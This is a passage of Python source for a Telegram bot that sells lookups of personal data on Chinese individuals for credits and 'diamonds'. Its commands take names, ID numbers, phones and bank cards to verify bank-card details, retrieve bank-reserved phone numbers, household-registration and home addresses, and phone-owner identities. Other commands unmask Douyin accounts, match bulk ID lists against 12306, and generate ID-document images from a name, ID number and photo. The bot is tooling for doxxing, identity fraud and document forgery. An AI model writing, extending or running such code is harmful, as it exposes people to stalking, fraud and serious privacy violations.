                os.remove(output_path)
            except:
                pass


# 大头核验 - 接收照片
dthy_user_data = {}

@bot.message_handler(content_types=['photo'], func=lambda m: m.from_user.id in dthy_user_data)
def dthy_handle_photo(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    try:
        data = dthy_user_data[user_id]
        name = data['name']
        cert_no = data['cert_no']
        file_info = bot.get_file(message.photo[-1].file_id)
        downloaded_file = bot.download_file(file_info.file_path)
        img_base64 = base64.b64encode(downloaded_file).decode("utf-8")

        if not user['is_authorized']:
            DBUtils.update_user_points(user_id, -2)
            remaining = user['points'] - 2
        else:
            remaining = user['points']

        msg = bot.reply_to(message, "🔄 正在进行大头核验，请稍候...")
        start_time = time.time()
        is_match, result_text = verify_datou(name, cert_no, img_base64)
        elapsed = round(time.time() - start_time, 2)

        if is_match:
            content = f"姓名：<code>{name}</code>\n身份证：<code>{cert_no}</code>\n\n核验结果：✅ 一致\n\n详情：{html.escape(result_text)}"
            full_result = create_collapsible_text("✅ 大头核验一致", content, f"耗时：{elapsed}秒 | 剩余积分：{remaining}")
        else:
            content = f"姓名：<code>{name}</code>\n身份证：<code>{cert_no}</code>\n\n核验结果：❌ 不一致\n\n详情：{html.escape(result_text)}"
            full_result = create_collapsible_text("❌ 大头核验不一致", content, f"耗时：{elapsed}秒 | 剩余积分：{remaining}")
        bot.edit_message_text(full_result, user_id, msg.message_id, parse_mode='HTML')
    except Exception as e:
        if not user['is_authorized']:
            DBUtils.update_user_points(user_id, 2)
        bot.reply_to(message, f"核验失败：{html.escape(str(e))}")
    finally:
        if user_id in dthy_user_data:
            del dthy_user_data[user_id]


# ==================== 空号检测（积分） ====================
@bot.message_handler(commands=['khjc'])
@check_feature_enabled('khjc')
def handle_khjc(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    if not user['is_authorized'] and user['points'] < 2:
        bot.reply_to(message, f"积分不足！\n空号检测需 2 积分，当前剩余 {user['points']} 分")
        return
    args = message.text.split()
    if len(args) != 2:
        bot.reply_to(message, "格式错误！\n正确格式：/khjc 手机号\n消耗：2积分/次")
        return
    phone = args[1].strip()
    if not re.match(r'^1[3-9]\d{9}$', phone):
        bot.reply_to(message, "手机号格式错误！必须为11位手机号")
        return
    if not user['is_authorized']:
        DBUtils.update_user_points(user_id, -2)
        remaining = user['points'] - 2
    else:
        remaining = user['points']
    msg = bot.reply_to(message, "正在空号检测，请稍候...")
    try:
        url = f"https://hmapi.zh.kg/check_phone.php?phone={phone}&key=VIP4B330AF96918"
        response = requests.get(url, timeout=60)
        response.encoding = response.apparent_encoding
        result = response.text.strip()
        content = f"手机号：{phone}\n\n结果：{clean_ad_content(result)}"
        title = "空号检测结果"
        full_result = create_collapsible_text(title, content, f"剩余积分：{remaining}")
        bot.edit_message_text(full_result, user_id, msg.message_id, parse_mode='HTML')
    except Exception as e:
        if not user['is_authorized']:
            DBUtils.update_user_points(user_id, 2)
        bot.edit_message_text(f"检测失败：{html.escape(str(e))}", user_id, msg.message_id)


@bot.message_handler(commands=['yhk'])
@check_feature_enabled('yhk')
def handle_yhk(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 2:
        bot.reply_to(message, "格式错误！\n正确格式：/yhk 银行卡号\n消耗：1积分")
        return
    bank_card = args[1].strip()
    if not bank_card.isdigit() or len(bank_card) < 16:
        bot.reply_to(message, "银行卡号格式错误！请输入有效的银行卡号")
        return
    if not user['is_authorized'] and user['points'] < 1:
        bot.reply_to(message, f"积分不足！需要1积分，当前 {user['points']} 分")
        return
    if not user['is_authorized']:
        DBUtils.update_user_points(user_id, -1)
        remaining = user['points'] - 1
    else:
        remaining = user['points']
    msg = bot.reply_to(message, f"正在查询银行卡归属地...\n银行卡：{bank_card}")
    try:
        result = query_yhk(bank_card)
        phone = query_yhk_phone(bank_card)
        content = f"银行卡号：{bank_card}\n\n{result}"
        if phone:
            content += f"\n\n脱敏手机号：<code>{phone}</code>"
        title = "银行卡归属地查询结果"
        full_result = create_collapsible_text(title, content, f"剩余积分：{remaining}")
        bot.edit_message_text(full_result, user_id, msg.message_id, parse_mode='HTML')
    except Exception as e:
        if not user['is_authorized']:
            DBUtils.update_user_points(user_id, 1)
        bot.edit_message_text(f"查询失败：{str(e)}", user_id, msg.message_id)

@bot.message_handler(commands=['k3'])
@check_feature_enabled('k3')
def handle_k3(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 4:
        bot.reply_to(message, "格式错误！\n正确格式：/k3 姓名 身份证 银行卡\n消耗：2积分")
        return
    name, id_card, bank_card = args[1].strip(), args[2].strip().upper(), args[3].strip()
    if len(id_card) != 18 or not (id_card[:-1].isdigit() and (id_card[-1].isdigit() or id_card[-1] == 'X')):
        bot.reply_to(message, "身份证格式错误！必须为18位（最后一位可带X）")
        return
    if not bank_card.isdigit() or len(bank_card) < 16:
        bot.reply_to(message, "银行卡号格式错误！请输入有效的银行卡号")
        return
    if not user['is_authorized'] and user['points'] < 2:
        bot.reply_to(message, f"积分不足！需要2积分，当前 {user['points']} 分")
        return
    if not user['is_authorized']:
        DBUtils.update_user_points(user_id, -2)
        remaining = user['points'] - 2
    else:
        remaining = user['points']
    msg = bot.reply_to(message, f"正在核验银行卡三要素...\n姓名：{name}\n身份证：{id_card}\n银行卡：{bank_card[-4:]}")
    try:
        result = query_k3(name, id_card, bank_card)
        content = f"姓名：{name}\n身份证：{id_card}\n银行卡：{bank_card}\n\n结果：{result}"
        title = "银行卡三要素核验结果"
        full_result = create_collapsible_text(title, content, f"剩余积分：{remaining}")
        bot.edit_message_text(full_result, user_id, msg.message_id, parse_mode='HTML')
    except Exception as e:
        if not user['is_authorized']:
            DBUtils.update_user_points(user_id, 2)
        bot.edit_message_text(f"核验失败：{str(e)}", user_id, msg.message_id)

@bot.message_handler(commands=['k4'])
@check_feature_enabled('k4')
def handle_k4(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 5:
        bot.reply_to(message, "格式错误！\n正确格式：/k4 姓名 身份证 手机 银行卡\n消耗：2积分")
        return
    name, id_card, phone, bank_card = args[1].strip(), args[2].strip().upper(), args[3].strip(), args[4].strip()
    if len(id_card) != 18 or not (id_card[:-1].isdigit() and (id_card[-1].isdigit() or id_card[-1] == 'X')):
        bot.reply_to(message, "身份证格式错误！必须为18位（最后一位可带X）")
        return
    if not re.match(r'^1[3-9]\d{9}$', phone):
        bot.reply_to(message, "手机号格式错误！请输入11位正确手机号")
        return
    if not bank_card.isdigit() or len(bank_card) < 16:
        bot.reply_to(message, "银行卡号格式错误！请输入有效的银行卡号")
        return
    if not user['is_authorized'] and user['points'] < 2:
        bot.reply_to(message, f"积分不足！需要2积分，当前 {user['points']} 分")
        return
    if not user['is_authorized']:
        DBUtils.update_user_points(user_id, -2)
        remaining = user['points'] - 2
    else:
        remaining = user['points']
    msg = bot.reply_to(message, f"正在核验银行卡四要素...\n姓名：{name}\n身份证：{id_card}\n手机：{phone}\n银行卡：{bank_card[-4:]}")
    try:
        result = query_k4(name, id_card, phone, bank_card)
        content = f"姓名：{name}\n身份证：{id_card}\n手机：{phone}\n银行卡：{bank_card}\n\n结果：{result}"
        title = "银行卡四要素核验结果"
        full_result = create_collapsible_text(title, content, f"剩余积分：{remaining}")
        bot.edit_message_text(full_result, user_id, msg.message_id, parse_mode='HTML')
    except Exception as e:
        if not user['is_authorized']:
            DBUtils.update_user_points(user_id, 2)
        bot.edit_message_text(f"核验失败：{str(e)}", user_id, msg.message_id)

@bot.message_handler(commands=['id_extract'])
@check_feature_enabled('id_extract')
def handle_id_extract(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    if not user['is_authorized'] and user['points'] < 1:
        bot.reply_to(message, f"积分不足！需要1积分，当前 {user['points']} 分")
        return
    user_states[user_id] = {'waiting_id_file': True}
    bot.reply_to(message, "请上传包含身份证号的TXT文件\n消耗：1积分/次")

# ==================== 钻石消耗命令 ====================
@bot.message_handler(commands=['man'])
@check_feature_enabled('man')
def handle_man(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 3:
        bot.reply_to(message, f"格式错误！\n正确格式：/man 姓名 身份证\n消耗：{DBUtils.get_user_service_price(user_id, 'man')} 💎")
        return
    name, id_card = args[1].strip(), args[2].strip().upper()
    if len(id_card) != 18 or not (id_card[:-1].isdigit() and (id_card[-1].isdigit() or id_card[-1] == 'X')):
        bot.reply_to(message, "身份证格式错误！必须为18位（最后一位可带X）")
        return
    price = DBUtils.get_user_service_price(user_id, 'man')
    if user['diamonds'] < price:
        bot.reply_to(message, f"钻石不足！需要 {price} 钻石，当前 {user['diamonds']} 钻")
        return
    DBUtils.update_user_diamonds(user_id, -price)
    DBUtils.log_diamond_transaction(user_id, 'consume', -price, f'慢线假地址订单', '')
    order_no = DBUtils.create_order(user_id, 'man', {'name': name, 'id_card': id_card}, price)
    bot.reply_to(message,
        f"✅ 订单已提交\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n服务：慢线假地址\n内容：姓名:{name} | 身份证:{id_card}\n消耗：{price} 💎\n━━━━━━━━━━━━━━━━━━━━\n⏳ 请等待管理员处理...")
    logger.info(f"用户 {user_id} 提交慢线假地址订单: {order_no}")
    notify_admins_order(order_no, user_id, 'man', f"姓名:{name} | 身份证:{id_card}", price)

@bot.message_handler(commands=['dy'])
@check_feature_enabled('dy')
def handle_dy(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 2:
        bot.reply_to(message, f"格式错误！\n正确格式：/dy 抖音号\n消耗：{DBUtils.get_user_service_price(user_id, 'dy')} 💎")
        return
    dy_id = args[1].strip()
    if not dy_id:
        bot.reply_to(message, "抖音号不能为空！")
        return
    price = DBUtils.get_user_service_price(user_id, 'dy')
    if user['diamonds'] < price:
        bot.reply_to(message, f"钻石不足！需要 {price} 钻石，当前 {user['diamonds']} 钻")
        return
    DBUtils.update_user_diamonds(user_id, -price)
    DBUtils.log_diamond_transaction(user_id, 'consume', -price, f'抖音反订单', '')
    order_no = DBUtils.create_order(user_id, 'dy', {'dy_id': dy_id}, price)
    bot.reply_to(message,
        f"✅ 订单已提交\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n服务：抖音反\n内容：抖音号:{dy_id}\n消耗：{price} 💎\n━━━━━━━━━━━━━━━━━━━━\n⏳ 请等待管理员处理...")
    logger.info(f"用户 {user_id} 提交抖音反订单: {order_no}")
    notify_admins_order(order_no, user_id, 'dy', f"抖音号:{dy_id}", price)

# ==================== 拼接真地址（钻石订单） ====================
@bot.message_handler(commands=['zhend'])
@check_feature_enabled('zhend')
def handle_zhend(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 3:
        bot.reply_to(message, f"格式错误！\n正确格式：/zhend 姓名 身份证\n消耗：{DBUtils.get_user_service_price(user_id, 'zhend')} 💎\n\n{ORDER_NOTICE}")
        return
    name, id_card = args[1].strip(), args[2].strip().upper()
    if len(id_card) != 18 or not (id_card[:-1].isdigit() and (id_card[-1].isdigit() or id_card[-1] == 'X')):
        bot.reply_to(message, "身份证格式错误！必须为18位（最后一位可带X）")
        return
    price = DBUtils.get_user_service_price(user_id, 'zhend')
    if user['diamonds'] < price:
        bot.reply_to(message, f"钻石不足！需要 {price} 钻石，当前 {user['diamonds']} 钻")
        return
    DBUtils.update_user_diamonds(user_id, -price)
    DBUtils.log_diamond_transaction(user_id, 'consume', -price, f'拼接真地址订单', '')
    order_no = DBUtils.create_order(user_id, 'zhend', {'name': name, 'id_card': id_card}, price)
    bot.reply_to(message,
        f"✅ 订单已提交\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n服务：拼接真地址\n内容：姓名:{name} | 身份证:{id_card}\n消耗：{price} 💎\n━━━━━━━━━━━━━━━━━━━━\n⏳ 请等待管理员处理...\n\n{ORDER_NOTICE}")
    logger.info(f"用户 {user_id} 提交拼接真地址订单: {order_no}")
    notify_admins_order(order_no, user_id, 'zhend', f"姓名:{name} | 身份证:{id_card}", price)

# ==================== 大库户籍地（钻石订单） ====================
@bot.message_handler(commands=['dk'])
@check_feature_enabled('dk')
def handle_dk(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 3:
        bot.reply_to(message, f"格式错误！\n正确格式：/dk 姓名 身份证\n消耗：{DBUtils.get_user_service_price(user_id, 'dk')} 💎\n\n{ORDER_NOTICE}")
        return
    name, id_card = args[1].strip(), args[2].strip().upper()
    if len(id_card) != 18 or not (id_card[:-1].isdigit() and (id_card[-1].isdigit() or id_card[-1] == 'X')):
        bot.reply_to(message, "身份证格式错误！必须为18位（最后一位可带X）")
        return
    price = DBUtils.get_user_service_price(user_id, 'dk')
    if user['diamonds'] < price:
        bot.reply_to(message, f"钻石不足！需要 {price} 钻石，当前 {user['diamonds']} 钻")
        return
    DBUtils.update_user_diamonds(user_id, -price)
    DBUtils.log_diamond_transaction(user_id, 'consume', -price, f'大库户籍地订单', '')
    order_no = DBUtils.create_order(user_id, 'dk', {'name': name, 'id_card': id_card}, price)
    bot.reply_to(message,
        f"✅ 订单已提交\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n服务：大库户籍地\n内容：姓名:{name} | 身份证:{id_card}\n消耗：{price} 💎\n━━━━━━━━━━━━━━━━━━━━\n⏳ 请等待管理员处理...\n\n{ORDER_NOTICE}")
    logger.info(f"用户 {user_id} 提交大库户籍地订单: {order_no}")
    notify_admins_order(order_no, user_id, 'dk', f"姓名:{name} | 身份证:{id_card}", price)

# ==================== 中国银行（钻石订单） ====================
@bot.message_handler(commands=['boc'])
@check_feature_enabled('boc')
def handle_boc(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 3:
        bot.reply_to(message, f"格式错误！\n正确格式：/boc 姓名 身份证\n消耗：{DBUtils.get_user_service_price(user_id, 'boc')} 💎")
        return
    name, id_card = args[1].strip(), args[2].strip().upper()
    if len(id_card) != 18 or not (id_card[:-1].isdigit() and (id_card[-1].isdigit() or id_card[-1] == 'X')):
        bot.reply_to(message, "身份证格式错误！必须为18位（最后一位可带X）")
        return
    price = DBUtils.get_user_service_price(user_id, 'boc')
    if user['diamonds'] < price:
        bot.reply_to(message, f"钻石不足！需要 {price} 钻石，当前 {user['diamonds']} 钻")
        return
    msg = bot.reply_to(message, "🔄 正在查询中国银行...")
    result_phone = query_boc(name, id_card)
    if not result_phone:
        bot.edit_message_text(f"❌ 未查询到中国银行预留手机号\n━━━━━━━━━━━━━━━━━━━━\n姓名：{name}\n身份证：{id_card}\n（未扣费）", user_id, msg.message_id)
        return
    DBUtils.update_user_diamonds(user_id, -price)
    DBUtils.log_diamond_transaction(user_id, 'consume', -price, f'中国银行查询', '')
    user = DBUtils.get_user(user_id)
    content = f"姓名：{name}\n身份证：{id_card}\n\n预留手机号：{result_phone}"
    title = "中国银行查询结果"
    full_result = create_collapsible_text(title, content, f"消耗：{price}💎 | 剩余：{user['diamonds']}💎")
    bot.edit_message_text(full_result, user_id, msg.message_id, parse_mode='HTML')
    logger.info(f"用户 {user_id} 查询中国银行成功: {name} {result_phone}")


# ==================== 法人（钻石订单） ====================
@bot.message_handler(commands=['fr'])
@check_feature_enabled('fr')
def handle_fr(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 2:
        bot.reply_to(message, f"格式错误！\n正确格式：/fr 信用代码\n消耗：{DBUtils.get_user_service_price(user_id, 'fr')} 💎")
        return
    credit_code = args[1].strip()
    price = DBUtils.get_user_service_price(user_id, 'fr')
    if user['diamonds'] < price:
        bot.reply_to(message, f"钻石不足！需要 {price} 钻石，当前 {user['diamonds']} 钻")
        return
    DBUtils.update_user_diamonds(user_id, -price)
    DBUtils.log_diamond_transaction(user_id, 'consume', -price, f'法人订单', '')
    order_no = DBUtils.create_order(user_id, 'fr', {'credit_code': credit_code}, price)
    bot.reply_to(message,
        f"✅ 订单已提交\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n服务：法人\n内容：信用代码:{credit_code}\n消耗：{price} 💎\n━━━━━━━━━━━━━━━━━━━━\n⏳ 请等待管理员处理...")
    logger.info(f"用户 {user_id} 提交法人订单: {order_no}")
    notify_admins_order(order_no, user_id, 'fr', f"信用代码:{credit_code}", price)

# ==================== 企业名查信用代码（/cha） ====================
@bot.message_handler(commands=['cha'])
@check_feature_enabled('cha')
def handle_cha(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split(maxsplit=1)
    if len(args) < 2:
        bot.reply_to(message, f"格式错误！\n正确格式：/cha 企业名称\n消耗：{DBUtils.get_user_service_price(user_id, 'cha')} 💎")
        return
    ent_name = args[1].strip()
    price = DBUtils.get_user_service_price(user_id, 'cha')
    if user['diamonds'] < price:
        bot.reply_to(message, f"钻石不足！需要 {price} 钻石，当前 {user['diamonds']} 钻")
        return
    msg = bot.reply_to(message, "🔄 正在查询企业信息...")
    try:
        res_list = fr_query_by_company_name(ent_name)
        if not res_list:
            bot.edit_message_text(f"❌ 未匹配到企业\n关键词：{ent_name}\n（未扣费）", user_id, msg.message_id)
            return
        DBUtils.update_user_diamonds(user_id, -price)
        DBUtils.log_diamond_transaction(user_id, 'consume', -price, f'企业名查信用代码', '')
        user = DBUtils.get_user(user_id)
        content_lines = []
        for item in res_list:
            content_lines.append(
                f"【{item['idx']}】{item['enterpriseName']}\n"
                f"信用代码：<code>{item['socialCreditCode']}</code>\n"
                f"法人：<code>{item['corpnName']}</code>")
        content = "\n\n".join(content_lines)
        full_result = create_collapsible_text("✅ 企业名查信用代码", content, f"消耗：{price}💎 | 剩余：{user['diamonds']}💎")
        bot.edit_message_text(full_result, user_id, msg.message_id, parse_mode='HTML')
    except Exception as e:
        bot.edit_message_text(f"查询失败：{html.escape(str(e))}", user_id, msg.message_id)
    logger.info(f"用户 {user_id} 查询企业名查信用代码: {ent_name}")

# ==================== 营业执照（钻石订单） ====================
@bot.message_handler(commands=['yyzz'])
@check_feature_enabled('yyzz')
def handle_yyzz(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 2:
        bot.reply_to(message, f"格式错误！\n正确格式：/yyzz 信用代码\n消耗：{DBUtils.get_user_service_price(user_id, 'yyzz')} 💎")
        return
    credit_code = args[1].strip()
    price = DBUtils.get_user_service_price(user_id, 'yyzz')
    if user['diamonds'] < price:
        bot.reply_to(message, f"钻石不足！需要 {price} 钻石，当前 {user['diamonds']} 钻")
        return
    msg = bot.reply_to(message, "🔄 正在查询营业执照...")
    try:
        result = query_yyzz(credit_code)
        _err_keywords = ["查询失败", "请求外部接口失败", "timed out", "Operation timed out", '"error"']
        _is_error = result['type'] == 'error' or (result['type'] == 'text' and (not result['data'] or any(kw in result['data'] for kw in _err_keywords)))
        if _is_error:
            bot.edit_message_text(f"❌ 营业执照查询失败\n━━━━━━━━━━━━━━━━━━━━\n信用代码：{credit_code}\n（未扣费）", user_id, msg.message_id)
            return
        DBUtils.update_user_diamonds(user_id, -price)
        DBUtils.log_diamond_transaction(user_id, 'consume', -price, f'营业执照查询', '')
        user = DBUtils.get_user(user_id)
        if result['type'] == 'image':
            import io
            bot.delete_message(user_id, msg.message_id)
            bot.send_photo(user_id, result['data'], caption=f"✅ 营业执照查询结果\n━━━━━━━━━━━━━━━━━━━━\n信用代码：{credit_code}\n消耗：{price}💎 | 剩余：{user['diamonds']}💎")
        else:
            content = f"信用代码：{credit_code}\n\n结果：{result['data']}"
            title = "营业执照查询结果"
            full_result = create_collapsible_text(title, content, f"消耗：{price}💎 | 剩余：{user['diamonds']}💎")
            bot.edit_message_text(full_result, user_id, msg.message_id, parse_mode='HTML')
    except Exception as e:
        bot.edit_message_text(f"查询失败：{html.escape(str(e))}", user_id, msg.message_id)
    logger.info(f"用户 {user_id} 查询营业执照: {credit_code}")

# ==================== 名下企业（钻石订单） ====================
@bot.message_handler(commands=['mxqy'])
@check_feature_enabled('mxqy')
def handle_mxqy(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 2:
        bot.reply_to(message, f"格式错误！\n正确格式：/mxqy 身份证\n消耗：{DBUtils.get_user_service_price(user_id, 'mxqy')} 💎")
        return
    id_card = args[1].strip().upper()
    if len(id_card) != 18 or not (id_card[:-1].isdigit() and (id_card[-1].isdigit() or id_card[-1] == 'X')):
        bot.reply_to(message, "身份证格式错误！必须为18位（最后一位可带X）")
        return
    price = DBUtils.get_user_service_price(user_id, 'mxqy')
    if user['diamonds'] < price:
        bot.reply_to(message, f"钻石不足！需要 {price} 钻石，当前 {user['diamonds']} 钻")
        return
    DBUtils.update_user_diamonds(user_id, -price)
    DBUtils.log_diamond_transaction(user_id, 'consume', -price, f'名下企业订单', '')
    order_no = DBUtils.create_order(user_id, 'mxqy', {'id_card': id_card}, price)
    bot.reply_to(message,
        f"✅ 订单已提交\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n服务：名下企业\n内容：身份证:{id_card}\n消耗：{price} 💎\n━━━━━━━━━━━━━━━━━━━━\n⏳ 请等待管理员处理...")
    logger.info(f"用户 {user_id} 提交名下企业订单: {order_no}")
    notify_admins_order(order_no, user_id, 'mxqy', f"身份证:{id_card}", price)

# ==================== 联通机主（钻石订单） ====================
@bot.message_handler(commands=['ltjz'])
@check_feature_enabled('ltjz')
def handle_ltjz(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 2:
        bot.reply_to(message, f"格式错误！\n正确格式：/ltjz 手机号\n消耗：{DBUtils.get_user_service_price(user_id, 'ltjz')} 💎")
        return
    phone = args[1].strip()
    if not re.match(r'^1[3-9]\d{9}$', phone):
        bot.reply_to(message, "手机号格式错误！必须为11位手机号")
        return
    price = DBUtils.get_user_service_price(user_id, 'ltjz')
    if user['diamonds'] < price:
        bot.reply_to(message, f"钻石不足！需要 {price} 钻石，当前 {user['diamonds']} 钻")
        return
    DBUtils.update_user_diamonds(user_id, -price)
    DBUtils.log_diamond_transaction(user_id, 'consume', -price, f'联通机主订单', '')
    order_no = DBUtils.create_order(user_id, 'ltjz', {'phone': phone}, price)
    bot.reply_to(message,
        f"✅ 订单已提交\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n服务：联通机主\n内容：手机号:{phone}\n消耗：{price} 💎\n━━━━━━━━━━━━━━━━━━━━\n⏳ 请等待管理员处理...")
    logger.info(f"用户 {user_id} 提交联通机主订单: {order_no}")
    notify_admins_order(order_no, user_id, 'ltjz', f"手机号:{phone}", price)

# ==================== PLC生成功能（积分） ====================
@bot.message_handler(commands=['plc'])
def handle_plc(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    if not user['is_authorized'] and user['points'] < 3:
        bot.reply_to(message, f"积分不足！需要3积分，当前 {user['points']} 分")
        return
    args = message.text.split(maxsplit=3)
    if len(args) < 3:
        bot.reply_to(message, "❌ 格式错误！\n正确格式：/plc 姓名 身份证号 [地址]\n\n地址可留空，将自动从签发机关.txt读取\n示例：/plc 张三 110101199001011234\n/plc 张三 110101199001011234 北京市朝阳区")
        return
    name = args[1]
    id_number = args[2]
    if len(id_number) != 18 or not (id_number[:-1].isdigit() and (id_number[-1].isdigit() or id_number[-1].upper() == 'X')):
        bot.reply_to(message, "❌ 身份证号码格式错误！必须为18位（最后一位可带X）")
        return
    if len(args) >= 4:
        address = args[3]
    else:
        issuing_authority_map = load_issuing_authority_map('fonts/签发机关.txt')
        address = get_issuing_authority(id_number, issuing_authority_map)
        if address == "未知签发机关":
            bot.reply_to(message, "❌ 无法从签发机关.txt获取地址，请手动输入地址\n格式：/plc 姓名 身份证号 地址")
            return
    plc_user_data[user_id] = {'name': name, 'id_number': id_number, 'address': address}
    bot.reply_to(message, f"✅ 信息已接收！\n姓名：{name}\n身份证：{id_number}\n地址：{address}\n\n请发送一张照片作为证件照")


# ==================== 12306无遗漏核验（/12306） ====================
@bot.message_handler(commands=['12306'])
@check_feature_enabled('sys')
def handle_12306(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) < 3:
        bot.reply_to(message, "格式错误！\n正确格式：/12306 姓名 手机号\n消耗：每100条身份证1💎\n\n使用方式：\n1. 发送 /12306 姓名 手机号\n2. 上传txt文件（每行一个身份证）或直接输入身份证（每行一个）")
        return
    name = args[1].strip()
    phone = args[2].strip()
    if not re.match(r'^1[3-9]\d{9}$', phone):
        bot.reply_to(message, "手机号格式错误！")
        return
    plfr_user_data[user_id] = {'name': name, 'phone': phone, 'mode': '12306'}
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=1)
    keyboard.add(
        telebot.types.InlineKeyboardButton("📁 上传TXT文件", callback_data="12306_upload"),
        telebot.types.InlineKeyboardButton("⌨️ 直接输入身份证", callback_data="12306_input"),
        telebot.types.InlineKeyboardButton("❌ 取消", callback_data="12306_cancel"),
    )
    bot.reply_to(message,
        f"🚄 12306无遗漏核验\n━━━━━━━━━━━━━━━━━━━━\n"
        f"姓名：{name}\n手机号：{phone}\n"
